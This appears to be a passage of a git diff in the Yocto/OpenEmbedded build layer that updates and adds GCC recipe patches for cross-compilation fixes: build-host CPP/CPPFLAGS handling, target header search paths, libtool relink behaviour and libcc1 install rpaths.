+Submitted [https://gcc.gnu.org/pipermail/gcc-patches/2021-October/582722.html]
+Upstream-Status: Backport [https://gcc.gnu.org/git/?p=gcc.git;a=commit;h=66e157188bd2f789809e17e85f917534c9381599]
+---
+ gcc/Makefile.in | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+Index: gcc-11.2.0/gcc/Makefile.in
+===================================================================
+--- gcc-11.2.0.orig/gcc/Makefile.in
++++ gcc-11.2.0/gcc/Makefile.in
+@@ -3678,7 +3678,7 @@ install-plugin: installdirs lang.install
+ # We keep the directory structure for files in config, common/config or
+ # c-family and .def files. All other files are flattened to a single directory.
+ $(mkinstalldirs) $(DESTDIR)$(plugin_includedir)
+- headers=`echo $(PLUGIN_HEADERS) $$(cd $(srcdir); echo *.h *.def) | tr ' ' '\012' | sort -u`; \
++ headers=`echo $(sort $(PLUGIN_HEADERS)) $$(cd $(srcdir); echo *.h *.def) | tr ' ' '\012' | sort -u`; \
+ srcdirstrip=`echo "$(srcdir)" | sed 's/[].[^$$\\*|]/\\\\&/g'`; \
+ for file in $$headers; do \
+ if [ -f $$file ] ; then \
diff --git a/meta/recipes-devtools/gcc/gcc-9.2/0014-libtool.patch b/meta/recipes-devtools/gcc/gcc/0014-libtool.patch
index 7a8f3afecf..f2b8924ebf 100644
--- a/meta/recipes-devtools/gcc/gcc-9.2/0014-libtool.patch
+++ b/meta/recipes-devtools/gcc/gcc/0014-libtool.patch
@@ -1,7 +1,7 @@
-From 6c4d0c303ebc3e1c7e554d54a8bb807d77ed41fd Mon Sep 17 00:00:00 2001
+From a5b984db9669cf38a7bd76c3fcdb41c086f740db Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Fri, 29 Mar 2013 09:29:11 +0400
-Subject: [PATCH 14/36] libtool
+Subject: [PATCH] libtool
libstdc++ from gcc-runtime gets created with -rpath=/usr/lib/../lib for qemux86-64
when running on am x86_64 build host.
@@ -23,7 +23,7 @@ Upstream-Status: Pending
1 file changed, 4 insertions(+)
diff --git a/ltmain.sh b/ltmain.sh
-index 79f9ba89af5..8e222f7c16b 100644
+index 70990740b6c..ee938056bef 100644
--- a/ltmain.sh
+++ b/ltmain.sh
@@ -6359,6 +6359,10 @@ func_mode_link ()
@@ -37,6 +37,3 @@ index 79f9ba89af5..8e222f7c16b 100644
oldlibs=
if test -z "$rpath"; then
---
-2.22.1
-
diff --git a/meta/recipes-devtools/gcc/gcc-9.2/0015-gcc-armv4-pass-fix-v4bx-to-linker-to-support-EABI.patch b/meta/recipes-devtools/gcc/gcc/0015-gcc-armv4-pass-fix-v4bx-to-linker-to-support-EABI.patch
index d06ae27028..1ccf39ceba 100644
--- a/meta/recipes-devtools/gcc/gcc-9.2/0015-gcc-armv4-pass-fix-v4bx-to-linker-to-support-EABI.patch
+++ b/meta/recipes-devtools/gcc/gcc/0015-gcc-armv4-pass-fix-v4bx-to-linker-to-support-EABI.patch
@@ -1,7 +1,7 @@
-From c5662ff1e7dea2291b9cb7a83cfff3001dd31f53 Mon Sep 17 00:00:00 2001
+From 0ae7090dec149cb2ff0c87eef87c043d4000ece1 Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Fri, 29 Mar 2013 09:30:32 +0400
-Subject: [PATCH 15/36] gcc: armv4: pass fix-v4bx to linker to support EABI.
+Subject: [PATCH] gcc: armv4: pass fix-v4bx to linker to support EABI.
The LINK_SPEC for linux gets overwritten by linux-eabi.h which
means the value of TARGET_FIX_V4BX_SPEC gets lost and as a result
@@ -19,12 +19,12 @@ Upstream-Status: Pending
1 file changed, 5 insertions(+), 1 deletion(-)
diff --git a/gcc/config/arm/linux-eabi.h b/gcc/config/arm/linux-eabi.h
-index e4ade2e2ab0..108863f69d2 100644
+index 6bd95855827..77befab5da8 100644
--- a/gcc/config/arm/linux-eabi.h
+++ b/gcc/config/arm/linux-eabi.h
@@ -91,10 +91,14 @@
#define MUSL_DYNAMIC_LINKER \
- "/lib/ld-musl-arm" MUSL_DYNAMIC_LINKER_E "%{mfloat-abi=hard:hf}.so.1"
+ "/lib/ld-musl-arm" MUSL_DYNAMIC_LINKER_E "%{mfloat-abi=hard:hf}%{mfdpic:-fdpic}.so.1"
+/* For armv4 we pass --fix-v4bx to linker to support EABI */
+#undef TARGET_FIX_V4BX_SPEC
@@ -38,6 +38,3 @@ index e4ade2e2ab0..108863f69d2 100644
LINUX_OR_ANDROID_LD (LINUX_TARGET_LINK_SPEC, \
LINUX_TARGET_LINK_SPEC " " ANDROID_LINK_SPEC)
---
-2.22.1
-
diff --git a/meta/recipes-devtools/gcc/gcc-9.2/0016-Use-the-multilib-config-files-from-B-instead-of-usin.patch b/meta/recipes-devtools/gcc/gcc/0016-Use-the-multilib-config-files-from-B-instead-of-usin.patch
index 310caec4a1..bde7ec6609 100644
--- a/meta/recipes-devtools/gcc/gcc-9.2/0016-Use-the-multilib-config-files-from-B-instead-of-usin.patch
+++ b/meta/recipes-devtools/gcc/gcc/0016-Use-the-multilib-config-files-from-B-instead-of-usin.patch
@@ -1,8 +1,8 @@
-From e3b693b9d6dc9496f7c98a13b28182d23084215c Mon Sep 17 00:00:00 2001
+From 5ce8aa4615a3816d12c43752323154744517ae9f Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Fri, 29 Mar 2013 09:33:04 +0400
-Subject: [PATCH 16/36] Use the multilib config files from ${B} instead of
- using the ones from ${S}
+Subject: [PATCH] Use the multilib config files from ${B} instead of using the
+ ones from ${S}
Use the multilib config files from ${B} instead of using the ones from ${S}
so that the source can be shared between gcc-cross-initial,
@@ -18,10 +18,10 @@ Upstream-Status: Inappropriate [configuration]
2 files changed, 36 insertions(+), 8 deletions(-)
diff --git a/gcc/configure b/gcc/configure
-index 1f1d22ca666..911de2cf017 100755
+index 5160917d73e..e663052cad2 100755
--- a/gcc/configure
+++ b/gcc/configure
-@@ -12321,10 +12321,20 @@ done
+@@ -13070,10 +13070,20 @@ done
tmake_file_=
for f in ${tmake_file}
do
@@ -44,9 +44,9 @@ index 1f1d22ca666..911de2cf017 100755
+ ;;
+ esac
done
- tmake_file="${tmake_file_}"
+ tmake_file="${tmake_file_}${omp_device_property_tmake_file}"
-@@ -12335,6 +12345,10 @@ tm_file_list="options.h"
+@@ -13084,6 +13094,10 @@ tm_file_list="options.h"
tm_include_list="options.h insn-constants.h"
for f in $tm_file; do
case $f in
@@ -58,10 +58,10 @@ index 1f1d22ca666..911de2cf017 100755
f=`echo $f | sed 's/^..//'`
tm_file_list="${tm_file_list} $f"
diff --git a/gcc/configure.ac b/gcc/configure.ac
-index ddc85197588..b413ae9bf25 100644
+index 50f78308e8a..2b84875b028 100644
--- a/gcc/configure.ac
+++ b/gcc/configure.ac
-@@ -1948,10 +1948,20 @@ done
+@@ -2243,10 +2243,20 @@ done
tmake_file_=
for f in ${tmake_file}
do
@@ -84,9 +84,9 @@ index ddc85197588..b413ae9bf25 100644
+ ;;
+ esac
done
- tmake_file="${tmake_file_}"
+ tmake_file="${tmake_file_}${omp_device_property_tmake_file}"
-@@ -1962,6 +1972,10 @@ tm_file_list="options.h"
+@@ -2257,6 +2267,10 @@ tm_file_list="options.h"
tm_include_list="options.h insn-constants.h"
for f in $tm_file; do
case $f in
@@ -97,6 +97,3 @@ index ddc85197588..b413ae9bf25 100644
./* )
f=`echo $f | sed 's/^..//'`
tm_file_list="${tm_file_list} $f"
---
-2.22.1
-
diff --git a/meta/recipes-devtools/gcc/gcc-9.2/0017-Avoid-using-libdir-from-.la-which-usually-points-to-.patch b/meta/recipes-devtools/gcc/gcc/0017-Avoid-using-libdir-from-.la-which-usually-points-to-.patch
index ad1d1d4eb0..3e0a1b4136 100644
--- a/meta/recipes-devtools/gcc/gcc-9.2/0017-Avoid-using-libdir-from-.la-which-usually-points-to-.patch
+++ b/meta/recipes-devtools/gcc/gcc/0017-Avoid-using-libdir-from-.la-which-usually-points-to-.patch
@@ -1,8 +1,8 @@
-From 09d9ccc1d471020949d1285a5276f17504fd60dd Mon Sep 17 00:00:00 2001
+From 75a1ce0265ca123f74f17a40ad8bd8f26d9c2ab3 Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Fri, 20 Feb 2015 09:39:38 +0000
-Subject: [PATCH 17/36] Avoid using libdir from .la which usually points to a
- host path
+Subject: [PATCH] Avoid using libdir from .la which usually points to a host
+ path
Upstream-Status: Inappropriate [embedded specific]
@@ -13,7 +13,7 @@ Signed-off-by: Khem Raj <raj.khem@gmail.com>
1 file changed, 3 insertions(+)
diff --git a/ltmain.sh b/ltmain.sh
-index 8e222f7c16b..0a93b4e5c3b 100644
+index ee938056bef..9ebc7e3d1e0 100644
--- a/ltmain.sh
+++ b/ltmain.sh
@@ -5628,6 +5628,9 @@ func_mode_link ()
@@ -26,6 +26,3 @@ index 8e222f7c16b..0a93b4e5c3b 100644
dir="$libdir"
absdir="$libdir"
fi
---
-2.22.1
-
diff --git a/meta/recipes-devtools/gcc/gcc/0018-export-CPP.patch b/meta/recipes-devtools/gcc/gcc/0018-export-CPP.patch
new file mode 100644
index 0000000000..86ab6574c7
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc/0018-export-CPP.patch
@@ -0,0 +1,199 @@
+From: Richard Purdie <richard.purdie@linuxfoundation.org>
+Subject: [PATCH 1/5] Makefile.in: Ensure build CPP/CPPFLAGS is used for build targets
+
+During cross compiling, CPP is being set to the target compiler even for
+build targets. As an example, when building a cross compiler targetting
+mingw, the config.log for libiberty in
+build.x86_64-pokysdk-mingw32.i586-poky-linux/build-x86_64-linux/libiberty/config.log
+shows:
+
+configure:3786: checking how to run the C preprocessor
+configure:3856: result: x86_64-pokysdk-mingw32-gcc -E --sysroot=[sysroot]/x86_64-nativesdk-mingw32-pokysdk-mingw32
+configure:3876: x86_64-pokysdk-mingw32-gcc -E --sysroot=[sysroot]/x86_64-nativesdk-mingw32-pokysdk-mingw32 conftest.c
+configure:3876: $? = 0
+
+This is libiberty being built for the build environment, not the target one
+(i.e. in build-x86_64-linux). As such it should be using the build environment's
+gcc and not the target one. In the mingw case the system headers are quite
+different leading to build failures related to not being able to include a
+process.h file for pem-unix.c.
+
+Further analysis shows the same issue occuring for CPPFLAGS too.
+
+Fix this by adding support for CPP_FOR_BUILD and CPPFLAGS_FOR_BUILD which
+for example, avoids mixing the mingw headers for host binaries on linux
+systems.
+
+2021-10-27 Richard Purdie <richard.purdie@linuxfoundation.org>
+
+ChangeLog:
+
+ * Makefile.tpl: Add CPP_FOR_BUILD and CPPFLAGS_FOR_BUILD support
+ * Makefile.in: Regenerate.
+ * configure: Regenerate.
+ * configure.ac: Add CPP_FOR_BUILD and CPPFLAGS_FOR_BUILD support
+
+gcc/ChangeLog:
+
+ * configure: Regenerate.
+ * configure.ac: Use CPPFLAGS_FOR_BUILD for GMPINC
+
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Submitted [https://gcc.gnu.org/pipermail/gcc-patches/2021-October/582727.html]
+Upstream-Status: Backport [https://gcc.gnu.org/git/?p=gcc.git;a=commitdiff;h=84401ce5fb4ecab55decb472b168100e7593e01f]
+---
+ Makefile.in | 6 ++++++
+ Makefile.tpl | 6 ++++++
+ configure | 4 ++++
+ configure.ac | 4 ++++
+ gcc/configure | 2 +-
+ gcc/configure.ac | 2 +-
+ 6 files changed, 22 insertions(+), 2 deletions(-)
+
+Index: gcc-11.2.0/Makefile.in
+===================================================================
+--- gcc-11.2.0.orig/Makefile.in
++++ gcc-11.2.0/Makefile.in
+@@ -151,6 +151,8 @@ BUILD_EXPORTS = \
+ CC="$(CC_FOR_BUILD)"; export CC; \
+ CFLAGS="$(CFLAGS_FOR_BUILD)"; export CFLAGS; \
+ CONFIG_SHELL="$(SHELL)"; export CONFIG_SHELL; \
++ CPP="$(CPP_FOR_BUILD)"; export CPP; \
++ CPPFLAGS="$(CPPFLAGS_FOR_BUILD)"; export CPPFLAGS; \
+ CXX="$(CXX_FOR_BUILD)"; export CXX; \
+ CXXFLAGS="$(CXXFLAGS_FOR_BUILD)"; export CXXFLAGS; \
+ GFORTRAN="$(GFORTRAN_FOR_BUILD)"; export GFORTRAN; \
+@@ -198,6 +200,8 @@ HOST_EXPORTS = \
+ AR="$(AR)"; export AR; \
+ AS="$(AS)"; export AS; \
+ CC_FOR_BUILD="$(CC_FOR_BUILD)"; export CC_FOR_BUILD; \
++ CPP_FOR_BUILD="$(CPP_FOR_BUILD)"; export CPP_FOR_BUILD; \
++ CPPFLAGS_FOR_BUILD="$(CPPFLAGS_FOR_BUILD)"; export CPPFLAGS_FOR_BUILD; \
+ CXX_FOR_BUILD="$(CXX_FOR_BUILD)"; export CXX_FOR_BUILD; \
+ DLLTOOL="$(DLLTOOL)"; export DLLTOOL; \
+ LD="$(LD)"; export LD; \
+@@ -353,6 +357,8 @@ AR_FOR_BUILD = @AR_FOR_BUILD@
+ AS_FOR_BUILD = @AS_FOR_BUILD@
+ CC_FOR_BUILD = @CC_FOR_BUILD@
+ CFLAGS_FOR_BUILD = @CFLAGS_FOR_BUILD@
++CPP_FOR_BUILD = @CPP_FOR_BUILD@
++CPPFLAGS_FOR_BUILD = @CPPFLAGS_FOR_BUILD@
+ CXXFLAGS_FOR_BUILD = @CXXFLAGS_FOR_BUILD@
+ CXX_FOR_BUILD = @CXX_FOR_BUILD@
+ DLLTOOL_FOR_BUILD = @DLLTOOL_FOR_BUILD@
+Index: gcc-11.2.0/Makefile.tpl
+===================================================================
+--- gcc-11.2.0.orig/Makefile.tpl
++++ gcc-11.2.0/Makefile.tpl
+@@ -154,6 +154,8 @@ BUILD_EXPORTS = \
+ CC="$(CC_FOR_BUILD)"; export CC; \
+ CFLAGS="$(CFLAGS_FOR_BUILD)"; export CFLAGS; \
+ CONFIG_SHELL="$(SHELL)"; export CONFIG_SHELL; \
++ CPP="$(CPP_FOR_BUILD)"; export CPP; \
++ CPPFLAGS="$(CPPFLAGS_FOR_BUILD)"; export CPPFLAGS; \
+ CXX="$(CXX_FOR_BUILD)"; export CXX; \
+ CXXFLAGS="$(CXXFLAGS_FOR_BUILD)"; export CXXFLAGS; \
+ GFORTRAN="$(GFORTRAN_FOR_BUILD)"; export GFORTRAN; \
+@@ -201,6 +203,8 @@ HOST_EXPORTS = \
+ AR="$(AR)"; export AR; \
+ AS="$(AS)"; export AS; \
+ CC_FOR_BUILD="$(CC_FOR_BUILD)"; export CC_FOR_BUILD; \
++ CPP_FOR_BUILD="$(CPP_FOR_BUILD)"; export CPP_FOR_BUILD; \
++ CPPFLAGS_FOR_BUILD="$(CPPFLAGS_FOR_BUILD)"; export CPPFLAGS_FOR_BUILD; \
+ CXX_FOR_BUILD="$(CXX_FOR_BUILD)"; export CXX_FOR_BUILD; \
+ DLLTOOL="$(DLLTOOL)"; export DLLTOOL; \
+ LD="$(LD)"; export LD; \
+@@ -356,6 +360,8 @@ AR_FOR_BUILD = @AR_FOR_BUILD@
+ AS_FOR_BUILD = @AS_FOR_BUILD@
+ CC_FOR_BUILD = @CC_FOR_BUILD@
+ CFLAGS_FOR_BUILD = @CFLAGS_FOR_BUILD@
++CPP_FOR_BUILD = @CPP_FOR_BUILD@
++CPPFLAGS_FOR_BUILD = @CPPFLAGS_FOR_BUILD@
+ CXXFLAGS_FOR_BUILD = @CXXFLAGS_FOR_BUILD@
+ CXX_FOR_BUILD = @CXX_FOR_BUILD@
+ DLLTOOL_FOR_BUILD = @DLLTOOL_FOR_BUILD@
+Index: gcc-11.2.0/configure
+===================================================================
+--- gcc-11.2.0.orig/configure
++++ gcc-11.2.0/configure
+@@ -652,6 +652,8 @@ GFORTRAN_FOR_BUILD
+ DLLTOOL_FOR_BUILD
+ CXX_FOR_BUILD
+ CXXFLAGS_FOR_BUILD
++CPPFLAGS_FOR_BUILD
++CPP_FOR_BUILD
+ CFLAGS_FOR_BUILD
+ CC_FOR_BUILD
+ AS_FOR_BUILD
+@@ -4092,6 +4094,7 @@ if test "${build}" != "${host}" ; then
+ AR_FOR_BUILD=${AR_FOR_BUILD-ar}
+ AS_FOR_BUILD=${AS_FOR_BUILD-as}
+ CC_FOR_BUILD=${CC_FOR_BUILD-gcc}
++ CPP_FOR_BUILD="${CPP_FOR_BUILD-\$(CPP)}"
+ CXX_FOR_BUILD=${CXX_FOR_BUILD-g++}
+ GFORTRAN_FOR_BUILD=${GFORTRAN_FOR_BUILD-gfortran}
+ GOC_FOR_BUILD=${GOC_FOR_BUILD-gccgo}
+@@ -9809,6 +9812,7 @@ esac
+ # our build compiler if desired.
+ if test x"${build}" = x"${host}" ; then
+ CFLAGS_FOR_BUILD=${CFLAGS_FOR_BUILD-${CFLAGS}}
++ CPPFLAGS_FOR_BUILD=${CPPFLAGS_FOR_BUILD-${CPPFLAGS}}
+ CXXFLAGS_FOR_BUILD=${CXXFLAGS_FOR_BUILD-${CXXFLAGS}}
+ LDFLAGS_FOR_BUILD=${LDFLAGS_FOR_BUILD-${LDFLAGS}}
+ fi
+Index: gcc-11.2.0/configure.ac
+===================================================================
+--- gcc-11.2.0.orig/configure.ac
++++ gcc-11.2.0/configure.ac
+@@ -1347,6 +1347,7 @@ if test "${build}" != "${host}" ; then
+ AR_FOR_BUILD=${AR_FOR_BUILD-ar}
+ AS_FOR_BUILD=${AS_FOR_BUILD-as}
+ CC_FOR_BUILD=${CC_FOR_BUILD-gcc}
++ CPP_FOR_BUILD="${CPP_FOR_BUILD-\$(CPP)}"
+ CXX_FOR_BUILD=${CXX_FOR_BUILD-g++}
+ GFORTRAN_FOR_BUILD=${GFORTRAN_FOR_BUILD-gfortran}
+ GOC_FOR_BUILD=${GOC_FOR_BUILD-gccgo}
+@@ -3321,6 +3322,7 @@ esac
+ # our build compiler if desired.
+ if test x"${build}" = x"${host}" ; then
+ CFLAGS_FOR_BUILD=${CFLAGS_FOR_BUILD-${CFLAGS}}
++ CPPFLAGS_FOR_BUILD=${CPPFLAGS_FOR_BUILD-${CPPFLAGS}}
+ CXXFLAGS_FOR_BUILD=${CXXFLAGS_FOR_BUILD-${CXXFLAGS}}
+ LDFLAGS_FOR_BUILD=${LDFLAGS_FOR_BUILD-${LDFLAGS}}
+ fi
+@@ -3387,6 +3389,8 @@ AC_SUBST(AR_FOR_BUILD)
+ AC_SUBST(AS_FOR_BUILD)
+ AC_SUBST(CC_FOR_BUILD)
+ AC_SUBST(CFLAGS_FOR_BUILD)
++AC_SUBST(CPP_FOR_BUILD)
++AC_SUBST(CPPFLAGS_FOR_BUILD)
+ AC_SUBST(CXXFLAGS_FOR_BUILD)
+ AC_SUBST(CXX_FOR_BUILD)
+ AC_SUBST(DLLTOOL_FOR_BUILD)
+Index: gcc-11.2.0/gcc/configure
+===================================================================
+--- gcc-11.2.0.orig/gcc/configure
++++ gcc-11.2.0/gcc/configure
+@@ -12699,7 +12699,7 @@ else
+ CC="${CC_FOR_BUILD}" CFLAGS="${CFLAGS_FOR_BUILD}" \
+ CXX="${CXX_FOR_BUILD}" CXXFLAGS="${CXXFLAGS_FOR_BUILD}" \
+ LD="${LD_FOR_BUILD}" LDFLAGS="${LDFLAGS_FOR_BUILD}" \
+- GMPINC="" CPPFLAGS="${CPPFLAGS} -DGENERATOR_FILE" \
++ GMPINC="" CPPFLAGS="${CPPFLAGS_FOR_BUILD} -DGENERATOR_FILE" \
+ ${realsrcdir}/configure \
+ --enable-languages=${enable_languages-all} \
+ ${enable_obsolete+--enable-obsolete="$enable_obsolete"} \
+Index: gcc-11.2.0/gcc/configure.ac
+===================================================================
+--- gcc-11.2.0.orig/gcc/configure.ac
++++ gcc-11.2.0/gcc/configure.ac
+@@ -2023,7 +2023,7 @@ else
+ CC="${CC_FOR_BUILD}" CFLAGS="${CFLAGS_FOR_BUILD}" \
+ CXX="${CXX_FOR_BUILD}" CXXFLAGS="${CXXFLAGS_FOR_BUILD}" \
+ LD="${LD_FOR_BUILD}" LDFLAGS="${LDFLAGS_FOR_BUILD}" \
+- GMPINC="" CPPFLAGS="${CPPFLAGS} -DGENERATOR_FILE" \
++ GMPINC="" CPPFLAGS="${CPPFLAGS_FOR_BUILD} -DGENERATOR_FILE" \
+ ${realsrcdir}/configure \
+ --enable-languages=${enable_languages-all} \
+ ${enable_obsolete+--enable-obsolete="$enable_obsolete"} \
diff --git a/meta/recipes-devtools/gcc/gcc/0019-Ensure-target-gcc-headers-can-be-included.patch b/meta/recipes-devtools/gcc/gcc/0019-Ensure-target-gcc-headers-can-be-included.patch
new file mode 100644
index 0000000000..120d5a29b2
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc/0019-Ensure-target-gcc-headers-can-be-included.patch
@@ -0,0 +1,113 @@
+From 6f410ed8fb7eee11ba7a25634c2257666b98ef52 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Fri, 20 Feb 2015 10:25:11 +0000
+Subject: [PATCH] Ensure target gcc headers can be included
+
+There are a few headers installed as part of the OpenEmbedded
+gcc-runtime target (omp.h, ssp/*.h). Being installed from a recipe
+built for the target architecture, these are within the target
+sysroot and not cross/nativesdk; thus they weren't able to be
+found by gcc with the existing search paths. Add support for
+picking up these headers under the sysroot supplied on the gcc
+command line in order to resolve this.
+
+Extend target gcc headers search to musl too
+
+Upstream-Status: Pending
+
+Signed-off-by: Paul Eggleton <paul.eggleton@linux.intel.com>
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ gcc/Makefile.in | 2 ++
+ gcc/config/linux.h | 8 ++++++++
+ gcc/config/rs6000/sysv4.h | 8 ++++++++
+ gcc/cppdefault.c | 4 ++++
+ 4 files changed, 22 insertions(+)
+
+diff --git a/gcc/Makefile.in b/gcc/Makefile.in
+index 59c45c81393..9b17d120aa1 100644
+--- a/gcc/Makefile.in
++++ b/gcc/Makefile.in
+@@ -630,6 +630,7 @@ libexecdir = @libexecdir@
+
+ # Directory in which the compiler finds libraries etc.
+ libsubdir = $(libdir)/gcc/$(real_target_noncanonical)/$(version)$(accel_dir_suffix)
++libsubdir_target = $(target_noncanonical)/$(version)
+ # Directory in which the compiler finds executables
+ libexecsubdir = $(libexecdir)/gcc/$(real_target_noncanonical)/$(version)$(accel_dir_suffix)
+ # Directory in which all plugin resources are installed
+@@ -3016,6 +3017,7 @@ CFLAGS-intl.o += -DLOCALEDIR=\"$(localedir)\"
+
+ PREPROCESSOR_DEFINES = \
+ -DGCC_INCLUDE_DIR=\"$(libsubdir)/include\" \
++ -DGCC_INCLUDE_SUBDIR_TARGET=\"$(libsubdir_target)/include\" \
+ -DFIXED_INCLUDE_DIR=\"$(libsubdir)/include-fixed\" \
+ -DGPLUSPLUS_INCLUDE_DIR=\"$(gcc_gxx_include_dir)\" \
+ -DGPLUSPLUS_INCLUDE_DIR_ADD_SYSROOT=$(gcc_gxx_include_dir_add_sysroot) \
+diff --git a/gcc/config/linux.h b/gcc/config/linux.h
+index 87efc5f69fe..b525bcd56b3 100644
+--- a/gcc/config/linux.h
++++ b/gcc/config/linux.h
+@@ -165,6 +165,13 @@ see the files COPYING3 and COPYING.RUNTIME respectively. If not, see
+ #define INCLUDE_DEFAULTS_MUSL_TOOL
+ #endif
+
++#ifdef GCC_INCLUDE_SUBDIR_TARGET
++#define INCLUDE_DEFAULTS_MUSL_SUBDIR_TARGET \
++ { STANDARD_STARTFILE_PREFIX_2 GCC_INCLUDE_SUBDIR_TARGET, "GCC", 0, 0, 1, 0},
++#else
++#define INCLUDE_DEFAULTS_MUSL_SUBDIR_TARGET
++#endif
++
+ #ifdef NATIVE_SYSTEM_HEADER_DIR
+ #define INCLUDE_DEFAULTS_MUSL_NATIVE \
+ { NATIVE_SYSTEM_HEADER_DIR, 0, 0, 0, 1, 2 }, \
+@@ -191,6 +198,7 @@ see the files COPYING3 and COPYING.RUNTIME respectively. If not, see
+ INCLUDE_DEFAULTS_MUSL_PREFIX \
+ INCLUDE_DEFAULTS_MUSL_CROSS \
+ INCLUDE_DEFAULTS_MUSL_TOOL \
++ INCLUDE_DEFAULTS_MUSL_SUBDIR_TARGET \
+ INCLUDE_DEFAULTS_MUSL_NATIVE \
+ { GCC_INCLUDE_DIR, "GCC", 0, 1, 0, 0 }, \
+ { 0, 0, 0, 0, 0, 0 } \
+diff --git a/gcc/config/rs6000/sysv4.h b/gcc/config/rs6000/sysv4.h
+index 510abe169c5..0c2bba5ea32 100644
+--- a/gcc/config/rs6000/sysv4.h
++++ b/gcc/config/rs6000/sysv4.h
+@@ -995,6 +995,13 @@ ncrtn.o%s"
+ #define INCLUDE_DEFAULTS_MUSL_TOOL
+ #endif
+
++#ifdef GCC_INCLUDE_SUBDIR_TARGET
++#define INCLUDE_DEFAULTS_MUSL_SUBDIR_TARGET \
++ { STANDARD_STARTFILE_PREFIX_2 GCC_INCLUDE_SUBDIR_TARGET, "GCC", 0, 0, 1, 0},
++#else
++#define INCLUDE_DEFAULTS_MUSL_SUBDIR_TARGET
++#endif
++
+ #ifdef NATIVE_SYSTEM_HEADER_DIR
+ #define INCLUDE_DEFAULTS_MUSL_NATIVE \
+ { NATIVE_SYSTEM_HEADER_DIR, 0, 0, 0, 1, 2 }, \
+@@ -1021,6 +1028,7 @@ ncrtn.o%s"
+ INCLUDE_DEFAULTS_MUSL_PREFIX \
+ INCLUDE_DEFAULTS_MUSL_CROSS \
+ INCLUDE_DEFAULTS_MUSL_TOOL \
++ INCLUDE_DEFAULTS_MUSL_SUBDIR_TARGET \
+ INCLUDE_DEFAULTS_MUSL_NATIVE \
+ { GCC_INCLUDE_DIR, "GCC", 0, 1, 0, 0 }, \
+ { 0, 0, 0, 0, 0, 0 } \
+diff --git a/gcc/cppdefault.c b/gcc/cppdefault.c
+index c503d14fc3f..d54d6ce0076 100644
+--- a/gcc/cppdefault.c
++++ b/gcc/cppdefault.c
+@@ -64,6 +64,10 @@ const struct default_include cpp_include_defaults[]
+ /* This is the dir for gcc's private headers. */
+ { GCC_INCLUDE_DIR, "GCC", 0, 0, 0, 0 },
+ #endif
++#ifdef GCC_INCLUDE_SUBDIR_TARGET
++ /* This is the dir for gcc's private headers under the specified sysroot. */
++ { STANDARD_STARTFILE_PREFIX_2 GCC_INCLUDE_SUBDIR_TARGET, "GCC", 0, 0, 1, 0 },
++#endif
+ #ifdef LOCAL_INCLUDE_DIR
+ /* /usr/local/include comes before the fixincluded header files. */
+ { LOCAL_INCLUDE_DIR, 0, 0, 1, 1, 2 },
diff --git a/meta/recipes-devtools/gcc/gcc/0020-Don-t-search-host-directory-during-relink-if-inst_pr.patch b/meta/recipes-devtools/gcc/gcc/0020-Don-t-search-host-directory-during-relink-if-inst_pr.patch
new file mode 100644
index 0000000000..bb2a3671f0
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc/0020-Don-t-search-host-directory-during-relink-if-inst_pr.patch
@@ -0,0 +1,35 @@
+From cd09adb1e7f2a7e81a9f595a17c36f24911b90ac Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Tue, 3 Mar 2015 08:21:19 +0000
+Subject: [PATCH] Don't search host directory during "relink" if $inst_prefix
+ is provided
+
+http://lists.gnu.org/archive/html/libtool-patches/2011-01/msg00026.html
+
+Upstream-Status: Submitted
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ ltmain.sh | 5 +++--
+ 1 file changed, 3 insertions(+), 2 deletions(-)
+
+diff --git a/ltmain.sh b/ltmain.sh
+index 9ebc7e3d1e0..7ea79fa8be6 100644
+--- a/ltmain.sh
++++ b/ltmain.sh
+@@ -6004,12 +6004,13 @@ func_mode_link ()
+ fi
+ else
+ # We cannot seem to hardcode it, guess we'll fake it.
++ # Default if $libdir is not relative to the prefix:
+ add_dir="-L$libdir"
+- # Try looking first in the location we're being installed to.
++
+ if test -n "$inst_prefix_dir"; then
+ case $libdir in
+ [\\/]*)
+- add_dir="$add_dir -L$inst_prefix_dir$libdir"
++ add_dir="-L$inst_prefix_dir$libdir"
+ ;;
+ esac
+ fi
diff --git a/meta/recipes-devtools/gcc/gcc/0023-libcc1-fix-libcc1-s-install-path-and-rpath.patch b/meta/recipes-devtools/gcc/gcc/0023-libcc1-fix-libcc1-s-install-path-and-rpath.patch
new file mode 100644
index 0000000000..fb4511cc1a
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc/0023-libcc1-fix-libcc1-s-install-path-and-rpath.patch
@@ -0,0 +1,51 @@
+From 2cfc5ee38b3f5ec1d7965aae0991bcd48b5dc2e6 Mon Sep 17 00:00:00 2001
+From: Robert Yang <liezhi.yang@windriver.com>
+Date: Sun, 5 Jul 2015 20:25:18 -0700
+Subject: [PATCH] libcc1: fix libcc1's install path and rpath
+
+* Install libcc1.so and libcc1plugin.so into
+ $(libexecdir)/gcc/$(target_noncanonical)/$(gcc_version), as what we
+ had done to lto-plugin.
+* Fix bad RPATH iussue:
+ gcc-5.2.0: package gcc-plugins contains bad RPATH /patht/to/tmp/sysroots/qemux86-64/usr/lib64/../lib64 in file
+ /path/to/gcc/5.2.0-r0/packages-split/gcc-plugins/usr/lib64/gcc/x86_64-poky-linux/5.2.0/plugin/libcc1plugin.so.0.0.0
+ [rpaths]
+
+Upstream-Status: Inappropriate [OE configuration]
+
+Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
+---
+ libcc1/Makefile.am | 4 ++--
+ libcc1/Makefile.in | 4 ++--
+ 2 files changed, 4 insertions(+), 4 deletions(-)
+
+diff --git a/libcc1/Makefile.am b/libcc1/Makefile.am
+index f148fdd7aa2..0b6eb8f2855 100644
+--- a/libcc1/Makefile.am
++++ b/libcc1/Makefile.am
